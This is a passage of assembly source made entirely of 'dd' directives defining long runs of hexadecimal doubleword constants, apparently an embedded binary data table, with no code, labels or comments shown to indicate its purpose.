4803C38Ah, 8472807Dh, 667CAD04h dd 30BD7E59h, 9287A703h, 0E8889891h, 9C0C3C1Fh, 62EC512Dh dd 9F4A0F30h, 4DC0C7E0h, 40A5A0B0h, 1A1F7A73h, 38C07F3Fh dd 3E502496h, 7DD00FE5h, 0EE43E91Eh, 6D8023D2h, 937F1CB1h dd 428B0C00h, 95FE98C9h, 9B900321h, 3D3F13E1h, 0C1A7AAF0h dd 418E5E00h, 0F4C6552Ch, 24EF0052h, 333747DDh, 9C00E409h dd 799D8A8h, 968CF7h, 0F91C3CE5h, 6FABDD10h, 12B7600Eh dd 91C09F1Dh, 66D878BFh, 0C571211h, 8024F107h, 0D94C5549h dd 7888FEEh, 1C49C838h, 0A97CF41Fh, 182A0048h, 9648F509h dd 0DE1008Bh, 2E204AA7h, 5100F98Eh, 0F3F0D7DAh, 4F338AACh dd 6B1CC8E3h, 0CC0954Fh, 1DECABAh, 6911EBBh, 0D5A4253Ch dd 8F7B3008h, 189D3802h, 0A22E98EBh, 60817DD0h, 1CD5620Eh dd 0C0B17042h, 0F001CCFAh, 8E00A623h, 0D6F3B4BDh, 94B4CFEh dd 0D2CDC382h, 3B184C00h, 4E3DE0B6h, 0D65700F3h, 0B7AC39D4h dd 0F08E48E9h, 79C56701h, 413C04AEh, 80C2139Ch, 82B93BF8h dd 7444E64Fh, 0C4A63E06h, 0ACD37300h, 0C858E9E7h, 75627E00h dd 71D9BBD6h, 4776006Ah, 94FAF450h, 4F73875Dh, 861B7B07h dd 7E5499AAh, 0F5253890h, 40EE04C5h, 80472CD3h, 9CAB1268h dd 7080DF24h, 614BCB80h, 0FEA2F57h, 979189B4h, 4AA1AEE0h dd 1800C99Ah, 7771D313h, 0CFF6FCA3h, 0CF0DA624h, 7A1E451h dd 754AF500h, 0B7E1AF2Bh, 8A180110h, 40AD9201h, 69F7F34Dh dd 0FCE1F424h, 0DFB9847Ch, 0E3D58E8h, 0BA85A285h, 1CA8AFh dd 8F324568h, 4805E298h, 5F051C9Fh, 0BCEB2C2Eh, 0D5D100C0h dd 7332F12Bh, 80F71222h, 0B22800CDh, 5E6CA39Fh, 0D300C7FAh dd 0ADB90409h, 3D13F1h, 0E352F78Ah, 0C36B55EDh, 0DF38D007h dd 0B8E0EA94h, 0F74E4Bh, 0EE523305h, 5F7C53E0h, 3E555800h dd 491424A9h, 87D0Fh, 0EDD62733h, 21BF8EADh, 13006AB0h dd 94730BB9h, 16E0A9h, 7A80C45Dh, 0C715BB50h, 0EA3B5801h dd 1C193AD2h, 0F7EDC60h, 2182302Ch, 6C4E9CA0h, 0FC49A27Bh dd 44BA2D9Ch, 0AB6300A8h, 4EF73823h, 9E00F869h, 0E5724382h dd 0A06430B6h, 0B10F9Fh, 26139363h, 0BB4A95EDh, 3155C700h dd 0C3E97680h, 0F07A014Bh, 2341C4EBh, 0ABCBC02Ah, 4A25BE00h dd 98CFDEDDh, 5F90292h, 9009AC0Eh, 0E0B15740h, 9FE48B00h dd 0E7791D6Fh, 0D461000Ah, 7E4FCA94h, 2D076012h, 0DC1BF085h dd 55905947h, 0ABBEB4h, 0DF6DC2D8h, 19F0FF9Ch, 18BD1D02h dd 0C0EAFB1Ah, 9A5AA48h, 32BBEFBEh, 309F18E9h, 0B0B7FC20h dd 842CC0h, 9CC9E912h, 4151214Ah, 0FD376813h, 70857CE0h dd 1B8F2DF3h, 5FEB10E8h, 0C5894825h, 0B09C083Ch, 0CA4846h dd 0A9265542h, 89DE8B5h, 0E610A550h, 42E1D508h, 8BC195Dh dd 0D98CD19Ch, 17C82D2Ch, 0A4917464h, 5D95981h, 9E8B1E5h dd 9B7FEB0h, 6D17563h, 44E888h, 273D4691h, 38A0A708h, 40C3BC17h dd 0B8F165F2h, 3E541CAh, 76FB2364h, 7AD37D4Dh, 606A50E7h dd 0BA50E7A2h, 820D6228h, 8049816Ch, 1FD0BCE1h, 0E7210086h dd 0EB996E88h, 2602B461h, 93E410D9h, 0C02E43A3h, 0CB1912h dd 11DF52Dh, 0E361A8E2h, 9D75923Eh, 0F64ECF4Fh, 9902E32Fh dd 0C049C259h, 0A32E1Eh, 0B1BF363h, 98C1E2Dh, 25389E00h dd 896EB9C3h, 555C0020h, 88BD4344h, 0C8017216h, 3D4064DEh dd 9C689177h, 38C52E8h, 0D2CF1AF5h, 1903559Fh, 78DBA4D6h dd 3250C831h, 0A6FE50FBh, 0ECF8D4h, 0B38C6303h, 3E914A23h dd 80A2441Fh, 114EB81h, 0A0404DB1h, 9723B0E0h, 0C5202C0Dh dd 0ACB405E5h, 2FEEFEADh, 280228A8h, 0C87246FEh, 9B07BCE0h dd 0EDD9479Ah, 0F0905A30h, 8E28C308h, 593E1CF8h, 0C04410E8h dd 5AC30707h, 1078FF70h, 752E837Ah, 0B10075D7h, 0E374082Ch dd 713A0072h, 92DB06BFh, 1C0070C8h, 6ECCF827h, 2ACAC0h dd 0DD7F8344h, 0DF955F46h, 80CDAF3Bh, 0CB7728CCh, 0CE1A42h dd 0A44C3701h, 0BBB4EBC7h, 0DE71F200h, 25AB8C04h, 0D66300BEh dd 0EA7E8367h, 29CED239h, 0A908581Ah, 0D7580091h, 47E22CCEh dd 201D2EFFh, 2480127Dh, 0EBC089F9h, 0BB761825h, 0E10448D4h dd 993E2100h, 50D74564h, 82731DFFh, 46A04032h, 291B36C2h dd 0CBF3F214h, 0E9DC01D8h, 3B7834A9h, 0CDF6AD1h, 0EDBDCE18h dd 0A30FF332h, 80EA31E1h, 91B1BFDAh, 25350368h, 0B82BBA52h dd 6A0C58D6h, 0B9C81A4Bh, 219207FEh, 30F9D7ACh, 7C0C47C6h dd 5DCF0618h, 80BAABB0h, 18612446h, 0C503C219h, 8482B895h dd 8F42FC00h, 0C9C12C49h, 0FD16CB39h, 0FF1BB0Bh, 0FB4080D8h dd 74F9D391h, 269A00A2h, 0C0C530B5h, 72EE6524h, 84D2C33h dd 602100B9h, 948FC51Fh, 76005513h, 0D58C279Dh, 283143Fh dd 4B44A731h, 0A9E1B839h, 8070FDB3h, 21EC6919h, 7410E995h dd 0F1911226h, 0BA21000Bh, 0A86083F7h, 6947BC00h, 0E2A4185Ah dd 0CB1000B8h, 58638E5h, 0D9035159h, 54FB967Bh, 24910095h dd 7870AFD8h, 841B99CFh, 1020A230h, 0C0FEE1D8h, 273AC56Ah dd 0B6448C35h, 0C5590066h, 27D79585h, 3C016160h, 0DFAE52BEh dd 60814FD3h, 0E9772618h, 3AC18085h, 0BF37ED3Ch, 8DC807A2h dd 46C93207h, 4C002116h, 0ECDCE2E4h, 4D9E99Ch, 0CF246B0Ah dd 386009Ah, 3C675801h, 0CA05108Ch, 0A06D93h, 0EED4EF9Ch dd 190F09F6h, 83571576h, 9006D988h, 3CB53368h, 3680AF4Fh dd 46EBA489h, 7000137Bh, 0C4579EE8h, 7C9AFBh, 37A807ACh dd 6DDE9967h, 5A9393Ah, 20A165DDh, 0B83F8483h, 0EC74CEh dd 4862CC47h, 34163678h, 5D3E5201h, 30541EBAh, 61F1B5F0h dd 82F9200Dh, 0D7A6FC2Ch, 0F58D2F06h, 6008048Fh, 194D217Eh dd 0C206F63Eh, 61024992h, 80670018h, 0C4BA9674h, 730325A8h dd 0D5553E10h, 0A3ABA853h, 0B1E70105h, 0CF18B8C9h, 5101FBECh dd 795F3317h, 1320F66Bh, 16E101F1h, 8EFAF202h, 7CB880F9h dd 6B263008h, 7E702C9h, 7FEC9037h, 12433EC0h, 31EF509Fh dd 1738B92Ah, 1D6883CFh, 1B1AA328h, 206F9908h, 6C9F100Ch dd 8CC8F8D4h, 0A13E2F04h, 696207D7h, 3E18A220h, 7C6700E5h dd 54B76025h, 62003861h, 5E3C4F70h, 79E97A9h, 0DFFF463Eh dd 0FCA1CEACh, 0D0933F37h, 402A178Ah, 0C700C4CDh, 0B0298450h dd 6D5B80Ah, 0F5030E19h, 0CF469860h, 5C3E2A02h, 0C030DFD7h dd 174F804Bh dd 0E1943E00h, 6FEA7AB4h, 5662188Bh, 0A161417Dh, 6A8636Fh dd 7881D147h, 1FD600EDh, 0F720A8FDh, 31DF4A3Dh, 28F82B00h dd 53BCF0FCh, 0C6A194D7h, 20C4Bh, 7C37D6F3h, 66477AAh dd 0E6E85B05h, 4A82E2DFh, 112C9794h, 61B780C5h, 0EEFEC792h dd 99F0CC6h, 8FB946D3h, 0B86BD4F7h, 1DF0AD98h, 0FB3ED19h dd 15E07360h, 803E5449h, 899100D9h, 24A64CB2h, 4E667B6Dh dd 1219C08h, 0B489A9CAh, 0FC04B86Eh, 0D203612Ah, 281F99BEh dd 0BF362h, 0FFB3E0B9h, 0C5E7A529h, 0E9C28E03h, 0A0CDB893h dd 90683D90h, 79EC307Ch, 90B5431h, 11EA8108h, 5BBE09FFh dd 0BD987420h, 0B609F3DBh, 0CF54FAh, 0ACA16F7Dh, 0BF5229D5h dd 4BC800E4h, 260188EFh, 0EB72FC00h, 36C0691Ah, 0A30D00E7h dd 4E93B38Fh, 9219F9C6h, 18617E40h, 0E0C3B06Eh, 232EB50Ch dd 0C06B09FFh, 0CDC9B821h, 0EC30859Bh, 7B8BB153h, 434C001Bh dd 0FE21053Bh, 0FD0CBB73h, 3988BEC7h, 14A6FC49h, 0A2B9A24Ch dd 8095FB1Eh, 4A050B0Fh, 56003A20h, 0C886EB43h, 0E08F74h dd 0E6FE9EA1h, 0AC581318h, 0AB463492h, 0BE3E361Fh, 2C8C3F93h dd 330E4B44h, 83D71C3Eh, 6AEC19h, 0C78E3619h, 73E4B412h dd 7A051E01h, 494AC561h, 3E281424h, 9F027EB6h, 0C70ED5A4h dd 6B84B08Eh, 0CE090361h, 1027F87Eh, 0B9310339h, 0DE405C83h dd 0C83F5690h, 0CC1DC128h, 7B2CDB1Ch, 30085BD2h, 8903C033h dd 36464CBCh, 9001E722h, 2D0E89BBh, 998723B7h, 53C5E665h dd 0FF369D2h, 8E5BD11Ah, 8901D98h, 20614BC0h, 42F40FBEh dd 0CBD8064Fh, 0E958E102h, 0D3641D76h, 6889EC91h, 7F9FC0FAh dd 9960FCE3h, 200E1F1Ch, 59EEE500h, 28C2B333h, 5283002Ah dd 0EAF91B12h, 960008D9h, 4641B5C1h, 248E90Bh, 58511EB0h dd 0C84122CDh, 2718676h, 4F9478Dh, 7F50E693h, 0B10488BAh dd 3EE81F8Ch, 8D0F4892h, 0B9417B64h, 0CC663E15h, 0D660408Ch dd 61278E61h, 0F79E75B2h, 75A5BEE4h, 218D6866h, 801711D8h dd 4CB08907h, 0C0089996h, 0F989BFB4h, 5B159A00h, 0EED25E57h dd 8E022813h, 0E6901364h, 10E03A10h, 0C2DD4869h, 990C1BE1h dd 0DA08809Dh, 0EA0E604Bh, 260655ABh, 0FBE11CC2h, 1D7C98B9h dd 139EBBC8h, 0BF0808ECh, 2ECD5CC0h, 228D46E0h, 0C4BF026Ah dd 55CBAFCDh, 7F86C60h, 3B040D00h, 5F81F77Fh, 525344F3h dd 0D7E95800h, 92189E02h, 28690484h, 9040E09Ah, 73B94838h dd 34777F79h, 30395E8h, 0CB565C3Fh, 18F190B4h, 8A3669Dh dd 0DC7D2106h, 0EB595600h, 7C923625h, 0C8810CEh, 80AA1E1Fh dd 0A78DBE4Fh, 0E30F057h, 1F341EFAh, 4F42287Ah, 5ECCF1Fh dd 0C7006331h, 0DB9BFD22h, 0CC86EC43h, 0C3210E09h, 36222F2Ch dd 9F680D00h, 0DBF76387h, 1CF82088h, 9660A72Bh, 0A2CDF511h dd 0DF68035Ah, 0D710633Bh, 1CB90800h, 0B5D67F60h, 0D1F405A2h dd 0C0E1CA89h, 0A5D51F1Ch, 7E669418h, 0C08D1458h, 0BBE04F61h dd 0AF01AB0Ch, 0CE419889h, 10D82F3Ch, 66B5014Dh, 46B323FAh dd 5034FDEAh, 936EFF90h, 48002C74h, 10FC4569h, 5890B64h dd 1FBD97B3h, 0C58060B5h, 9B23F322h, 7F0B112Bh, 0E7222D00h dd 0DE385CADh, 6933603Bh, 92281723h, 0B9715600h, 32059BD7h dd 34DA2890h, 230468Ch, 6857A2C4h, 10A131D7h, 0AA2CCD5h dd 3583EAE0h, 0FEB20364h, 1107B319h, 0AECE841Fh, 33E209EFh dd 0C956D818h, 22BB46B4h, 0C62E0309h, 98C75056h, 707C1BFBh dd 0BC04BD48h, 0AD158C0Fh, 0ED46C3Bh, 0DC697673h, 2B3C01FCh dd 0F2263566h, 65BCFCCh, 0CE3BBF6Fh, 0E746B0ABh, 0CA566102h dd 53113B4h, 56E00015h, 5A06A068h, 1088F30Ah, 0B8C4E01Ch dd 0F422C060h, 11939B23h, 0C8E2000Ch, 779F9622h, 3B591888h dd 0B414C16Bh, 689C3500h, 7602911Fh, 5FF1FAEh, 0A6BDBD54h dd 407BAC1Ch, 9F6AF8F0h, 0ECA1692Bh, 8CB182Dh, 0EF685CA2h dd 0D040B8C4h, 34B7A2B3h, 140359B8h, 0E8663CA9h, 5D411F90h dd 0EF0EB19h, 7320FF52h, 3032B3E3h, 2D750501h, 6217B695h dd 0F3DF2980h, 290CC445h, 0E41BF80Ch, 0C07808D1h, 45E0A421h dd 35070919h, 303EBAABh, 4EA555D1h, 30B2A042h, 0FE1122CAh dd 888C39Bh, 2232E080h, 5E6155h, 6BCCDEA0h, 9C423575h dd 14FA9F7Fh, 66796860h, 0CDBBCA9h, 80C0307Bh, 0E8CD1B8h dd 0CC145FAh, 80208851h, 145E7A9h, 0DF00BAF1h, 88B740A5h dd 913531DAh, 0D5EA8FBCh, 7C9C2C78h, 0B52EE001h, 9015FFE5h dd 1F4E8048h, 80999FD8h, 0F371C8B7h, 5D09AE77h, 17962330h dd 80099148h, 697E177Ah, 0A0922Fh, 0AE9BA223h, 4C6EC9FDh dd 0DEBF6600h, 0ACC0A40Bh, 0D3F0A8A3h, 0EFDF3A32h, 71777C80h dd 0B66F3E2h, 3521EE60h, 2A415F19h, 0F8B899EAh, 8C6450FCh dd 9188F237h, 0DB1A00D8h, 868304AEh, 132B1700h, 2352716Fh dd 0B5B4A1C8h, 4508FE18h, 0C4E10CC5h, 0FBA54173h, 15D47645h dd 84CB0954h, 0D4046034h, 565760E5h, 0A3B423C4h, 0DFC43Eh dd 0A0E856CFh, 92B81559h, 1475677Dh, 7E698B61h, 0D9BE2123h dd 0CD0B63Fh, 0A419526Ah, 19E36F1Bh, 4C9EEAC1h, 6E327E84h dd 443E11F6h, 0A76F2E00h, 69900AEh, 16BB2082h, 0BA3CAF00h dd 1F23183Fh, 19DF148Bh, 898088B9h, 7E2FAE6Eh, 51201230h dd 515B7B83h, 0EADCC0FDh, 991B4494h, 8C8B6E1Dh, 0D903E413h dd 0E01E8986h, 92EFAC13h, 11ED01ECh, 8B639345h, 78DDCC48h dd 0C7A7521Ch, 1889FF41h, 0BBE1A550h, 0DBB63180h, 0A10D3216h dd 0A0627900h, 2B953EF3h, 58B300B5h, 84C7DC09h, 0E883308Dh dd 8AAE5Fh, 0E17C1C72h, 0AF1F0916h, 0A70919FEh, 9034FD36h dd 0B1FF64h, 84A0E127h, 7890CCC3h, 0DBB92C00h, 82B2CD30h dd 0B19C00A2h, 0C473249Fh, 600AFC99h, 90871817h, 38D62380h dd 9323C1Eh, 0F33B7897h, 2E3EF003h, 96F96FD8h, 157F80h dd 0BC01CA5Eh, 378205B8h, 7E7A9D06h, 26B91810h, 4908F114h dd 0B145D480h, 0E90337B7h, 9D59B070h, 641AE0A6h, 0C0CF507Ah dd 318A63F1h, 690097ACh, 60DBC467h, 1E664AEBh, 0C3835869h dd 6CA6412Dh, 8129CD80h, 0EB58C660h, 342105AEh, 87497414h dd 403D40D8h, 0D800D3FFh, 7F3A7CAAh, 285EC78Eh, 125CF975h dd 2017441Ah, 7F943358h, 311E3AF8h, 86C49227h, 20802CD5h dd 3D58C5A8h, 1277E4EAh, 3064D438h, 6FB9A008h, 0F29B0F01h dd 0B39961C6h, 0E340B5E9h, 918D7BAh, 2D66121Ah, 1E3D3800h dd 0A07E8684h, 2F5E3C02h, 43FC081Ch, 7ED60A1Ch, 42A8136Bh dd 2C2E65B9h, 1474030h, 6D758337h, 404D9867h, 8CB1E7A3h dd 4A04CC9Ah, 871406D1h, 92555D40h, 7F009B8Fh, 0FB848CCBh dd 3A56489Ch, 0CCC819F3h, 9E580A81h, 50EDC5ACh, 4CF472C4h dd 0C6F08B06h, 5600AFFh, 19C8DCAAh, 534C01B4h, 0F2B62383h dd 93667900h, 506F493Bh, 89CE5100h, 0F4E9ECC0h, 0CD836000h dd 81DBFEB3h, 9A1E002Fh, 5BC652E4h, 0A8A8A5A7h, 860003EAh dd 30A3C197h, 1C43E26h, 0A4A216D2h, 6243D412h, 0C6280050h dd 0F5041127h, 8A5B171Ah, 0C78EF05Eh, 50ED0B03h, 0C07ADDA2h dd 105E19Ch, 358A9B0Ch, 8076143Ch, 535496C1h, 2D3147h dd 30CE2C50h, 8884799Dh, 0F7692260h, 705829Bh, 373C0E80h dd 0EAAE30EBh, 10904DF1h, 0D66510Ah, 44A49CECh, 0CC24A900h dd 7498779Dh, 1AC99EAh, 0D2A87166h, 6942217h, 2E297DC4h dd 8C9170h, 44D298B5h dd 0F4733A9Eh, 1B05F000h, 0B732DA58h, 14CE18F8h, 0B8C74169h dd 0E09D1D00h, 0E842E4AFh, 0C9FF4ABh, 3A3B894Ah, 0E5005F79h dd 736343C5h, 2DB98CAh, 0A741E99Fh, 2C40FA1Bh, 1E608834h dd 298F8381h, 0D7110067h, 0DD92AB3Ch, 6D126FFAh, 0A0008A64h dd 0AC8EE41Eh, 0A78D008Fh, 6E0810EBh, 350E9CCAh, 0C7445CE9h dd 3280C058h, 75FB9E83h, 2CE404EFh, 8C506EBCh, 36E8A8D8h dd 0C11A48h, 935FE51Ch, 1893260h, 0ABF1A5C9h, 246D3BE2h dd 0A00DB28h, 0B44E2766h, 0F6DDE63Eh, 71AB00F9h, 0AF02AA12h dd 4214FAF7h, 26D022BAh, 0BC037144h, 0CF378464h, 3D107CD0h dd 761E06E8h, 899114D4h, 2E98FD00h, 9753D07Eh, 0C4050285h dd 0FBC25EB7h, 0B625AC40h, 0D678665Ch, 83EA3031h, 6613402Dh dd 4F9830FFh, 0E54C53D7h, 9C9428DCh, 0EAB9410Ah, 44ACC85h dd 21828760h, 0FFF3004Ch, 0E2AC9FCDh, 0F924663Ch, 88968CA0h dd 524E1020h, 322700FEh, 86F8E9C9h, 564003A6h, 3B30183Dh dd 0B47E6138h, 5CB2D700h, 2936FBFAh, 4D490BFh, 0E80A32ADh dd 0F150822Eh, 10A16861h, 79DC5EF2h, 0B8030028h, 2339777Bh dd 750FA524h, 0FCC16C52h, 0F51E2180h, 4DE835Dh, 0EAB6739Ch dd 3960B29Bh, 0F21910B5h, 63E9EAC2h, 0E222A4E1h, 5F3CE400h dd 66DF3BD1h, 9974A228h, 0C5FC00FCh, 4E7B5114h, 9CAD3Bh dd 0CBE4627Eh, 3BD8E5DAh, 0B782699Dh, 0A051B1BCh, 9100F051h dd 7D98241Bh, 6A490316h, 59FFF2F0h, 0E9922190h, 180051F6h dd 74AC9C3Ch, 49DF2DCAh, 78CFD4A5h, 0EAA7AB03h, 2F379900h dd 0A5314859h, 266EEDEh, 0FB3D4CF0h, 460C0FFh, 15F8C753h dd 1C734D2Eh, 1FD70F07h, 0C414B0C2h, 65640074h, 0C2E7503Ah dd 0A904BB87h, 0ACFC47F6h, 0D480C8h, 16137DDDh, 80C8A48Fh dd 0B6020C01h, 0E138F65Bh, 1FAED840h, 3E610410h, 0C7561D26h dd 40C2BF70h, 5840307Bh, 0F7615ADAh, 6E3360C8h, 0B1758C50h dd 0AC84957Dh, 0B9948758h, 35A70080h, 5C4A9D5Dh, 3B3F6020h dd 0CBBA003Eh, 8CE6CF1Ah, 7360143Dh, 0FF3441C9h, 0D4B20475h dd 0C0E03B55h, 5B766BC6h, 1BC9B70Fh, 7E62A13Ch, 5C241A17h dd 0B037543Eh, 9609383Dh, 2605A780h, 27EFF62h, 42A95B02h dd 51449D0Bh, 393B8C14h, 9F019839h, 50546E32h, 6F01EC07h dd 4B142911h, 0CAB45045h, 98C0E91Eh, 68714D55h, 435802FFh dd 0C4500ED8h, 9CB0D880h, 76003409h, 4810D4E2h, 96157E67h dd 7A988490h, 30C089A7h, 537B6737h, 2B069000h, 0B58DA98Bh dd 3F940044h, 0FC3C5966h, 1926355Dh, 0E442D0B9h, 0BE40F773h dd 76499DDBh, 7E7F0984h, 14B8916Ch, 935851F6h, 0C9F03059h dd 61010A98h, 0B29D9AF1h, 0D050E4A7h, 824B22h, 0BD2AB858h dd 5FE7EED1h, 0E86F1300h, 719AF9CAh, 0E63B24C1h, 0F2050A74h dd 40E11C90h, 1D5CFCCDh, 87255BBEh, 0E2B090FAh, 6C9D0394h dd 0AD2B8DE3h, 0DC582980h, 0B54E9C00h, 0A5490FA2h, 0FF18A186h dd 1256E870h, 0D0117EAAh, 0E26F2658h, 2C269C91h, 0A0622460h dd 325E0219h, 40F886C0h, 0CD2FE085h, 0C57C0778h, 4128076Eh dd 141101A4h, 93C729Ch, 9034450Ah, 0B378A4h, 877DCC48h dd 89E310F8h, 99C95216h, 8A08A07h, 0BE1A1F81h, 0A658F8F3h dd 44434CD3h, 63B38F80h, 2E2590A0h, 4ED0A0ACh, 1EC1081h dd 0D197874Fh, 40160FE9h, 0A763ACD0h, 1EE1A660h, 0A1B99Bh dd 0C3AA7636h, 0B8790621h, 4D7B2800h, 0A043A613h, 40234B7Eh dd 25A71440h, 0D198D3F3h, 80741651h, 721EDC18h, 0B8EE7ADAh dd 5D70CF44h, 785490B2h, 0C7002AE2h, 58DD2F04h, 2EB6457Ah dd 40DCA7F2h, 3B676D01h, 8832D409h, 41F880C8h, 0C95AB5h dd 461A7E64h, 8D384C9Ch, 151F8600h, 0AFE49BB1h, 0B2A10924h dd 0D4103B32h, 0F90255A4h, 1D91E9EBh, 5828618Eh, 4C949FECh dd 363820B0h, 20182B17h, 7D862DA8h, 67119000h, 8CB19C99h dd 0ECF31663h, 0FF8003FEh, 4830E055h, 0E729405Ah, 0C200B0D2h dd 0C4FE7F41h, 4F0010E6h, 0B34224CFh, 1B438Dh, 0B5A8BED3h dd 4067D93Ch, 864BEAEAh, 0CE66E031h, 84C2AE02h, 0CF910080h dd 0AB269493h, 30406017h, 458B0h, 772AD2BEh, 0C59E8278h dd 24296400h, 4F6A6C44h, 4BC0A033h, 3834B0CAh, 0A283FDE0h dd 0E134A742h, 0CBF5A5A0h, 64B6191Ah, 839E0059h, 0C7C054Eh dd 0E212A69Bh, 0FE4D3CE8h, 1E048B4h, 496E981Fh, 94220666h dd 1B8D11h, 977A0DCh, 1299E56Fh, 1C331A4h, 0DFB0345Ch dd 3EA82243h, 0B452800Eh, 2EF3799Ah, 0E480000Dh, 8154C2B0h dd 2426EB32h, 0A1010060h, 0E1106F5h, 2A4B430h, 456E5CFEh dd 5472AC67h, 0BD00E0F6h, 233D1927h, 28F4B480h, 0E922179h dd 0BBA9428Bh, 38C4FD8Bh, 553B103h, 0E0F00D1Ah, 6643DCh dd 4C928619h, 0FFBF6718h, 7030C64Fh, 751389C1h, 8D842859h dd 258B0364h, 667A7B83h, 0EC9E0CB9h, 146088C6h, 3E97D821h dd 457D00E3h, 0F6C33AA6h, 9805780Ah, 0AB35B261h, 0D950F800h dd 0ECF384A9h, 12F8024Ch, 971066D1h, 43517F07h, 0EE83DCBh dd 0D88F5414h, 4830F09h, 4B21501Eh, 209AEC6Bh, 0E803AA9Ah dd 883B4EA9h, 1DC11E1Fh, 87434F82h, 6B9428E0h, 5C9E3C9Ah dd 51E26662h, 463E0300h, 110092A7h, 53FDD481h, 0C02311Eh dd 1C85EA61h, 0F0A06339h, 2574A335h, 2A364D0Eh, 0A9AC26Fh dd 790C6A7Fh, 121C3F08h, 0C3E88022h, 665B170Dh, 86A00B5Ch dd 29198Dh, 94E38977h, 0D338598Fh, 929258h, 0B1C14C99h dd 48C22335h, 4A0F581Fh, 0A5038D0Dh, 36D82D8Ah, 84B16B7Eh dd 84094592h, 0CBA8A346h, 9B6DB834h, 40B36143h, 0F8FA061Eh dd 0B024B52Bh, 9C40F080h, 1522F32h, 0C98E0DFEh, 80AAD79Fh dd 11229918h, 0C2BE0C66h, 723435B9h, 0C336E0C8h, 0F9266F98h dd 0E008522h, 499E7032h, 0C05EDF96h, 0FCCE8BCCh, 0D600AB0Ah dd 0C07EE453h, 0ED7E5E9h, 5D54783h, 500FD34Bh, 18019A60h dd 0BB171E69h, 38D19FEAh, 0B4108717h, 84010933h, 2DDB7D22h dd 4853FF37h, 69E2D0C1h, 41893D1Ah, 0FE0B4480h, 0DFA5B66Fh dd 0AA028802h, 61643CB3h, 8C60232Dh, 19481Eh, 0E00AC5Dh dd 30798C5Ch, 9EF0E697h, 46801700h, 39D45840h, 711900D2h dd 4DEE32EAh, 0ED1EFA7Ah, 820075ECh, 3C5C3763h, 27E09068h dd 4090FC61h, 0AD3995F7h, 1E9F9E15h, 0D9DE6D80h, 3C33382h dd 0E4670A99h, 0DC99BAC7h, 1782D17h, 61F91AE6h, 803FA201h dd 0C5B83849h, 41393702h, 0E6F8DCBAh, 18F0030Ch, 243E72D3h dd 0A5442DE0h, 6F156416h, 0A13C080Bh, 46BA59E0h, 75D58047h dd 2EA9AC21h, 1E007E2Ch, 0AD62C256h, 0AF00CBA6h, 8D81FEE9h dd 0ECE1BAD1h, 9E560342h, 86EF19CEh, 0C1504148h, 0B96FE3F0h dd 39F69E8h, 39E1D42h, 0E2E03BD9h, 2F48B4F7h, 0D35F0098h dd 0CA29FDBAh, 507C4860h, 43F470Eh, 0A689B180h, 0AC241C13h dd 0AD80CCE9h, 0B33CEFAAh, 0E650321h, 2A012040h, 0FAA63824h dd 1B4F013Ah, 0AC08C5BEh, 2400D832h, 4E0A4336h, 0C102F1A2h dd 0BE69A02Dh, 84A46273h, 3E490CA0h, 8A3060C8h, 0A0761C00h dd 0CEF0A775h, 0AAED0089h, 7B194123h, 103A6145h, 4DDF0538h dd 0ACC267F6h, 0F2142218h, 9684B0D1h, 40C738BAh, 0C9A58038h dd 1FE49469h, 4C9997F8h, 0F8E2069Dh, 4FB4B694h, 61178826h dd 0B9D7DA00h, 5CEBF170h, 0F6A0047Ch, 0E2B4786Ah, 8673007Ch dd 308C7977h, 0AFA40342h dd 4C0EEAFEh, 20CA1EC1h, 4000E406h, 9CFBF260h, 1D35F03Fh dd 0CB30EEC0h, 601BEF44h, 0AF29C788h, 0C9B4330Ah, 8404D8A0h dd 34C16223h, 71DEADABh, 6BF8074Ch, 9E208036h, 76010D99h dd 4FA3D2Ch, 60CCAF9Fh, 3728134Dh, 5ED8208Dh, 0BC1C5166h dd 435EFFE9h, 7D6902BCh, 90A7A5F1h, 0EB50B88h, 179A6C53h dd 5636F740h, 1D1289F6h, 14301E61h, 6C5755h, 8EE754FDh dd 44F4C7D0h, 208D412Fh, 0F83C9E74h, 0A2FB091Bh, 34602326h dd 1817D51Ah, 1408AA0Dh, 127E8B8Bh, 0B34290C4h, 3C9824h dd 0EBC83352h, 0DF00CF5Dh, 0D4F799C6h, 12BEA47Ch, 0BE5FECDh dd 0B088ADB8h, 42FD039Fh, 3BBA9D32h, 111D0841h, 9AE1148Fh dd 6DB0282Bh, 89C00100h, 0FE49E484h, 3E382524h, 6D62B4A0h dd 680A5A0Bh, 0C9CEAD1h, 8609813Ah, 43D3F8CFh, 0B9407022h dd 76BA001Bh, 6EB50516h, 0C2021C03h, 325E09E1h, 6859CCh dd 0A598E4FBh, 0C3580622h, 0CC451414h, 3F4601F8h, 0A2EACE01h dd 6048C439h, 2CA45E03h, 0F6A81A7Eh, 717243E4h, 9DF06301h dd 6BF10152h, 9C8868E4h, 96778034h, 0C7F2A4BEh, 0DFAA2C00h dd 8E7EF0ECh, 40A74AAEh, 0FAC693F0h, 73F613FCh, 0FE58509h dd 0EC44B5h, 19FF248Ch, 526E1FA3h, 0ED1AF3Dh, 0E33E9402h dd 864BB839h, 0C7A32C98h, 8CA112E8h, 0E0B08A44h, 72B20105h dd 84C234BAh, 96B5211Dh, 2288h, 4A6A817h, 0D0716CDBh, 0AAC0B848h dd 1DBD6115h, 11B01009h, 660505FDh, 0A516CCE3h, 0F3DCC8A9h dd 85E0CC01h, 37CF2062h, 2425BE31h, 0F0484029h, 0B1150773h dd 29353B47h, 88041010h, 0BAF72D00h, 0D2CB059Dh, 68FA00E9h dd 0D626379Eh, 35058443h, 95E866B3h, 0E8343809h, 41AFF30h dd 0A0A528E5h, 0F84F01F4h, 0A309A23h, 7EA813C3h, 4138226Ah dd 3B16A4E0h, 2352F4A0h, 6C106F28h, 1EE9EA07h, 17757BFFh dd 3EA3D8C8h, 0CE000E28h, 7523961Ah, 0AD05265Ah, 8C5DAE38h dd 0F601C81Dh, 0C81407B2h, 93A1D070h, 1A601F28h, 8854119Bh dd 0A0911A1Bh, 1324BAh, 4F0774D6h, 49FE940Ch, 0A01E0230h dd 3D54C5CBh, 5E0083B3h, 0FD39BDB5h, 760C4A5Fh, 491D88C7h dd 6C2C0073h, 66F95B03h, 0EF177CFBh, 7C07E6EAh, 0C5651AAAh dd 67B5C860h, 919BF65Ch, 30018620h, 5603B086h, 0CC899EE9h dd 7A101769h, 644C203Eh, 0E70180C7h, 8DCA14D2h, 0A5C093FEh dd 0E173006Dh, 187AB36Bh, 9057BE3h, 0B66E230h, 342054E5h dd 98637BA2h, 0C80513E4h, 593404B5h, 73B48081h, 6C127068h dd 7409F090h, 0AB40496Fh, 9448F864h, 44D140A4h, 2B0062B0h dd 0A9A047E7h, 1B7C9C3h, 697D57CEh, 22B0EA84h, 3EBA1A80h dd 80DE0E81h, 